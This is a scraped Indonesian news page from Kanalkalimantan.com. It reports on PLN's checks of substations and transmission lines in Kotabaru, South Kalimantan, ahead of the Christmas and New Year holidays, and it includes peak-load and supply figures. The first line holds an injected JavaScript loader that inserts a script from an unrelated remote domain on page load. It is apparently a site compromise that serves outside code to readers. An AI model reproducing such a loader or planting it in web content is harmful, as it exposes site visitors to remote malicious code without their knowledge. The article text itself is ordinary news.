(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, KOTABARU – Menyambut momen penting di penghujung tahun, PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan melalui Unit Penyaluran Transmisi (UPT) Banjarbaru memastikan kesiapan instalasi Gardu Induk (GI) dan jaringan transmisi dalam kondisi prima di GI Langadai, Kabupaten Kotabaru, Kalimantan Selatan, pada Selasa (18/11/2024).
Perayaan Natal dan Tahun Baru (Nataru) tidak hanya disambut antusias oleh masyarakat namun juga dipersiapkan secara matang oleh PLN. Hal ini diungkapkan General Manager PLN Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan Abdul Salam Nganro saat kunjungan di Gardu Induk Langadai.
“Saya ingin memastikan persiapan seluruh lini infrastruktur kelistrikan telah dimulai dari jauh-jauh hari untuk menghadirkan layanan terbaik selama momen-momen akhir tahun seperti Natal dan Tahun Baru,” ucap Salam.
Salam menambahkan bahwa sistem kelistrikan interkoneksi Kalimantan yang menghubungkan Provinsi Kalsel dengan Kalteng serta Kaltim saat ini telah diperluas hingga sebagian Kalbar. Hal ini menjamin pasokan daya selalu dalam keadaan cukup dari pembangkit-pembangkit yang terhubung ke sistem.
Baca juga: Sah! Lisa Halaby-Wartono Pemenang Pilwali Banjarbaru
“Prediksi Beban Puncak (BP) pemakaian listrik pelanggan di Sistem Interkoneksi diperkirakan mencapai 1.657 mega watt (MW) sementara pasokan pembangkit yang tersedia mencapai 2.545 MW, sehingga pasokan daya dari pembangkit dalam kondisi yang cukup untuk memenuhi seluruh kebutuhan masyarakat di Kalimantan Selatan,” imbuhnya.
Salam menambahkan bahwa pihaknya telah menyiapkan lima posko yang tersebar di Kota Banjarbaru, Kota Banjarmasin, Kabupaten Hulu Sungai Tengah, hingga Kabupaten Kotabaru. Posko-posko ini bertujuan untuk memastikan respons cepat apabila terjadi anomali atau gangguan pada jaringan transmisi dan gardu induk.
Baca juga: Pelatihan P3PD di Kalsel, Kemendagri Ingin Dana Desa Dikelola Secara Baik
Manager UPT Banjarbaru, Akhmad Fauzan memberikan penjelasan bahwa khusus untuk Kabupaten Tanah Bumbu dan Kotabaru, pihaknya memastikan 3 gardu induk yang memasok energi listrik untuk masyarakat di sana bekerja dengan baik tanpa ada anomali.
“Gardu Induk Langadai, Pulau Laut dan Batulicin adalah tiga gardu induk utama penopang kelistrikan di Tanah Bumbu dan sekitarnya. Kami menempatkan personil terbaik dan SOP yang rinci karena disini terdapat beberapa pelanggan industri dengan beban yang cukup tinggi,” jelas Fauzan.
Baca juga: Warga Pendemo Minta KPU Banjarbaru Tunda Penetapan Hasil Pilwali
Dengan berbagai langkah strategis ini, PLN optimis dapat memberikan layanan listrik yang andal dan menghadirkan kenyamanan bagi masyarakat di pengujung tahun. (Kanalkalimantan.com/adv)
Reporter: adv
Editor: kk
KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More
Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More
KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More
This website uses cookies.